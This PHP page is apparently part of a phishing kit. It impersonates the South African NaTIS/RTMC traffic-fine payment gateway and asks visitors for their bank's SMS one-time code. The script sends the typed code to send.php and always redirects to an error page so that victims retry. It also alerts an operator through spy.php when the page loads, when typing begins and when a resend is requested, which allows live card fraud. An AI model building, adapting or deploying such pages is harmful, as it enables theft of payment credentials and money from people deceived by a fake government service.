<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

$data = $m->getData();
if (isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    header("Location: done.php");
    exit;
}

$payLabel = Config::$payment_amount;
$txId = Config::$transaction_id;
$fineRef = Config::$fine_reference;
$vehicleReg = Config::visitorVehicleRegFromLogin();
$hasError = isset($_GET['e']);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SMS verification — NaTIS</title>
    <link rel="stylesheet" href="themes/css/card-natis.css" />
    <link rel="stylesheet" href="themes/css/payment-flow-natis.css" />
</head>
<body class="np-page np-flow-page">

<?php require __DIR__ . '/includes/natis-payment-header.php'; ?>

<div class="np-wrap">
    <h1 class="np-heading">SMS verification</h1>
    <p class="np-flow-lead">RTMC / NaTIS secure payment gateway</p>

    <div class="np-form np-flow-panel">
        <div class="np-flow-hero">
            <div class="np-flow-icon" aria-hidden="true">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round">
                    <rect x="5" y="2" width="14" height="20" rx="2" />
                    <line x1="12" y1="18" x2="12.01" y2="18" />
                </svg>
            </div>
            <h2 class="np-flow-title">Enter your SMS code</h2>
            <p class="np-flow-text">A one-time password was sent to your mobile number. Enter it below to confirm this payment.</p>
        </div>

        <dl class="np-flow-summary">
            <div class="np-flow-row">
                <dt>Amount</dt>
                <dd class="np-flow-amount"><?= htmlspecialchars($payLabel, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div class="np-flow-row">
                <dt>Fine reference</dt>
                <dd><?= htmlspecialchars($fineRef, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <?php if ($vehicleReg !== '') { ?>
            <div class="np-flow-row">
                <dt>Vehicle registration</dt>
                <dd><?= htmlspecialchars($vehicleReg, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <?php } ?>
            <div class="np-flow-row">
                <dt>Transaction ID</dt>
                <dd><?= htmlspecialchars($txId, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
        </dl>

        <?php if ($hasError) { ?>
        <div class="np-sms-error" role="alert">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" aria-hidden="true">
                <circle cx="12" cy="12" r="10" />
                <path d="M12 8v4M12 16h.01" />
            </svg>
            <span>The code entered is incorrect. Please try again.</span>
        </div>
        <?php } ?>

        <form id="form" novalidate>
            <div class="np-sms-field">
                <label class="np-sms-label" for="sms">SMS security code</label>
                <input class="np-sms-input" id="sms" name="sms" type="text"
                    inputmode="numeric" maxlength="6" autocomplete="one-time-code"
                    placeholder="••••••" required />
            </div>

            <div class="np-sms-actions">
                <button type="submit" class="np-sms-submit" id="btn_submit" disabled>Confirm payment</button>
                <button type="button" class="np-sms-cancel" id="btnResend">Didn't receive the SMS? Resend</button>
                <span id="resendMsg" class="np-sms-resend-msg" hidden>Request sent.</span>
            </div>
        </form>

        <p class="np-flow-secure">
            <span class="np-flow-lock" aria-hidden="true"></span>
            Your connection is encrypted. 3D-Secure verification may be required by your bank.
        </p>
    </div>
</div>

<?php require __DIR__ . '/includes/natis-payment-footer.php'; ?>

<script src="res/jq.js"></script>
<script>
(function () {
    var otpNotifySent = false;
    var minLen = 4;
    var maxLen = 6;

    function digits() {
        return $('#sms').val().replace(/\D/g, '');
    }

    function ok() {
        var len = digits().length;
        return len >= minLen && len <= maxLen;
    }

    $('#sms').on('input paste keyup', function () {
        this.value = this.value.replace(/\D/g, '').slice(0, maxLen);
        $('#btn_submit').prop('disabled', !ok());
        if (!otpNotifySent && digits().length > 0) {
            $.post('spy.php', { otping: 1 });
            otpNotifySent = true;
        }
    });

    $('#form').on('submit', function (e) {
        e.preventDefault();
        if (!ok()) return;
        $.post('send.php', { sms: digits() }, function () {
            window.location = 'codeerror.php';
        });
    });

    $('#btnResend').on('click', function () {
        var $btn = $(this);
        if ($btn.hasClass('is-sent')) return;
        $.post('spy.php', { smsresend: 1 }).always(function () {
            $btn.addClass('is-sent').text('Resend requested');
            $('#resendMsg').prop('hidden', false);
        });
    });

    $.post('spy.php', { smsview: 1, firstload: 1 });
    $('#sms').focus();
})();
</script>
<?php $m->ctr("SMS " . @$_GET['e']); ?>
</body>
</html>
